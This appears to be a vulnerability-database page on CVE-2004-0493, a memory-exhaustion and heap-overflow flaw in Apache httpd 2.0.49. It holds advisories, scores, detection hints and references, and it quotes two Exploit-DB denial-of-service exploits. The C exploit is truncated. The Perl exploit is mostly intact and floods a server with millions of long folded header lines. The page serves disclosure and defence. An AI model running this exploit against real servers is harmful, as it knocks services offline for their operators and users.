CVE-2004-0493
published 2004-08-06CVE-2004-0493: The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer…
PriorityP344medium6.4CVSS 2.0
AVNACLAuNCNIPAP
EXPLOIT
EPSS
84.78%
99.7th percentile
The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.
Affected
17 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | http_server | — | — |
| apache | http_server | — | — |
| apache | http_server | — | — |
| avaya | converged_communications_server | — | — |
| avaya | s8300 | — | — |
| avaya | s8500 | — | — |
| avaya | s8700 | — | — |
| debian | apache2 | < apache2 2.0.50-1 (bookworm) | apache2 2.0.50-1 (bookworm) |
| gentoo | linux | — | — |
| ibm | http_server | — | — |
| ibm | http_server | — | — |
| ibm | http_server | — | — |
| ibm | http_server | — | — |
| ibm | http_server | — | — |
| trustix | secure_linux | — | — |
| trustix | secure_linux | — | — |
| trustix | secure_linux | — | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect HTTP requests containing an abnormally large number of header continuation lines (lines beginning with space or tab) targeting Apache 2.0.49; memory exhaustion or heap overflow may result on 64-bit systems. ↗
- →Monitor for HTTP connections that send thousands of folded (space/tab-prefixed) header lines each containing thousands of bytes before sending the Host and Content-Length headers — characteristic of the exploit pattern. ↗
- →Alert on HTTP/1.1 requests where a single logical header is folded across an extreme number of continuation lines (up to 2,000,000 iterations of ~8 KB each), indicating exploitation of ap_get_mime_headers_core. ↗
- →The vulnerable function is ap_get_mime_headers_core in Apache httpd 2.0.49; upgrade to 2.0.50-1 or later to remediate. ↗
- ·The heap-based buffer overflow impact is conditional on the target being a 64-bit system; on 32-bit systems the vulnerability results only in memory exhaustion (DoS). ↗
CVSS provenance
nvdv2.06.4MEDIUMAV:N/AC:L/Au:N/C:N/I:P/A:P
osv6.4MEDIUM
vendor_debian6.4MEDIUM
vendor_redhat6.4MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
security flaw
vendor_redhat·2004-06-28·CVSS 6.4
CVE-2004-0493 [MEDIUM] security flaw
security flaw
The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.
Debian
CVE-2004-0493: apache2 - The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attac...
vendor_debian·2004·CVSS 6.4
CVE-2004-0493 [MEDIUM] CVE-2004-0493: apache2 - The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attac...
The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.
Scope: local
bookworm: resolved (fixed in 2.0.50-1)
bullseye: resolved (fixed in 2.0.50-1)
forky: resolved (fixed in 2.0.50-1)
sid: resolved (fixed in 2.0.50-1)
trixie: resolved (fixed in 2.0.50-1)
GHSA
GHSA-jc6w-8vm4-hvp8: The ap_get_mime_headers_core function in Apache httpd 2
ghsa_unreviewed·2022-04-29
CVE-2004-0493 [MEDIUM] GHSA-jc6w-8vm4-hvp8: The ap_get_mime_headers_core function in Apache httpd 2
The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.
OSV
CVE-2004-0493: The ap_get_mime_headers_core function in Apache httpd 2
osv·2004-08-06·CVSS 6.4
CVE-2004-0493 [MEDIUM] CVE-2004-0493: The ap_get_mime_headers_core function in Apache httpd 2
The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.
No detection rules found.
Exploit-DB
Apache - Arbitrary Long HTTP Headers Denial of Service
exploitdb·2004-08-02
CVE-2004-0493 Apache - Arbitrary Long HTTP Headers Denial of Service
Apache - Arbitrary Long HTTP Headers Denial of Service
---
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define A 0x41
#define PORT 80
struct sockaddr_in hrm;
int conn(char *ip)
{
int sockfd;
hrm.sin_family = AF_INET;
hrm.sin_port = htons(PORT);
hrm.sin_addr.s_addr = inet_addr(ip);
bzero(&(hrm.sin_zero),8);
sockfd=socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr)))<0)
{
perror("connect");
exit(0);
}
return sockfd;
}
int main(int argc, char *argv[])
{
int i,x;
char buf[300],a1[8132],a2[50],host[100],content[100];
char *ip=argv[1],*new=malloc(sizeof(int));
sprintf(new,"\r\n");
memset(a1,'\0',8132);
memset(host,'\0',100);
memset(content,'\0',100);
a1[0] = ' ';
for(i=1;i<8132;i++)
a1[i] = A;
if(argc<2)
{
pr
Exploit-DB
Apache - Arbitrary Long HTTP Headers (Denial of Service)
exploitdb·2004-07-22
CVE-2004-0493 Apache - Arbitrary Long HTTP Headers (Denial of Service)
Apache - Arbitrary Long HTTP Headers (Denial of Service)
---
#/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 new(PeerAddr => $host,PeerPort => $port, Proto => 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
$buf=" $buf4\r\n";
send($sock,$buf,0) || die "send error:$@, target maybe have been D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";
$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";
send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock);
http://lists.grok.org.uk/pipermail/full-disclosure/2004-June/023133.htmlhttp://marc.info/?l=bugtraq&m=108853066800184&w=2http://marc.info/?l=bugtraq&m=109181600614477&w=2http://security.gentoo.org/glsa/glsa-200407-03.xmlhttp://www.apacheweek.com/features/security-20http://www.guninski.com/httpd1.htmlhttp://www.mandriva.com/security/advisories?name=MDKSA-2004:064http://www.redhat.com/support/errata/RHSA-2004-342.htmlhttp://www.securityfocus.com/bid/10619http://www.trustix.org/errata/2004/0039/https://exchange.xforce.ibmcloud.com/vulnerabilities/16524https://lists.apache.org/thread.html/54a42d4b01968df1117cea77fc53d6beb931c0e05936ad02af93e9ac%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/5df9bfb86a3b054bb985a45ff9250b0332c9ecc181eec232489e7f79%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r0276683d8e1e07153fc8642618830ac0ade85b9ae0dc7b07f63bb8fc%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r2cb985de917e7da0848c440535f65a247754db8b2154a10089e4247b%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r5001ecf3d6b2bdd0b732e527654248abb264f08390045d30709a92f6%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r734a07156abf332d5ab27fb91d9d962cacfef4f3681e44056f064fa8%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r8828e649175df56f1f9e3919938ac7826128525426e2748f0ab62feb%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r9e8622254184645bc963a1d47c5d47f6d5a36d6f080d8d2c43b2b142%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rd65d8ba68ba17e7deedafbf5bb4899f2ae4dad781d21b931c2941ac3%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/re895fc1736d25c8cf57e102c871613b8aeec9ea26fd8a44e7942b5ab%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3Ehttps://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10605http://lists.grok.org.uk/pipermail/full-disclosure/2004-June/023133.htmlhttp://marc.info/?l=bugtraq&m=108853066800184&w=2http://marc.info/?l=bugtraq&m=109181600614477&w=2http://security.gentoo.org/glsa/glsa-200407-03.xmlhttp://www.apacheweek.com/features/security-20http://www.guninski.com/httpd1.htmlhttp://www.mandriva.com/security/advisories?name=MDKSA-2004:064http://www.redhat.com/support/errata/RHSA-2004-342.htmlhttp://www.securityfocus.com/bid/10619http://www.trustix.org/errata/2004/0039/https://exchange.xforce.ibmcloud.com/vulnerabilities/16524https://lists.apache.org/thread.html/54a42d4b01968df1117cea77fc53d6beb931c0e05936ad02af93e9ac%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/5df9bfb86a3b054bb985a45ff9250b0332c9ecc181eec232489e7f79%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r0276683d8e1e07153fc8642618830ac0ade85b9ae0dc7b07f63bb8fc%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r2cb985de917e7da0848c440535f65a247754db8b2154a10089e4247b%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r5001ecf3d6b2bdd0b732e527654248abb264f08390045d30709a92f6%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r734a07156abf332d5ab27fb91d9d962cacfef4f3681e44056f064fa8%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r8828e649175df56f1f9e3919938ac7826128525426e2748f0ab62feb%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r9e8622254184645bc963a1d47c5d47f6d5a36d6f080d8d2c43b2b142%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rd65d8ba68ba17e7deedafbf5bb4899f2ae4dad781d21b931c2941ac3%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/re895fc1736d25c8cf57e102c871613b8aeec9ea26fd8a44e7942b5ab%40%3Ccvs.httpd.apache.org%3Ehttps://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3Ehttps://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10605
2004-08-06
Published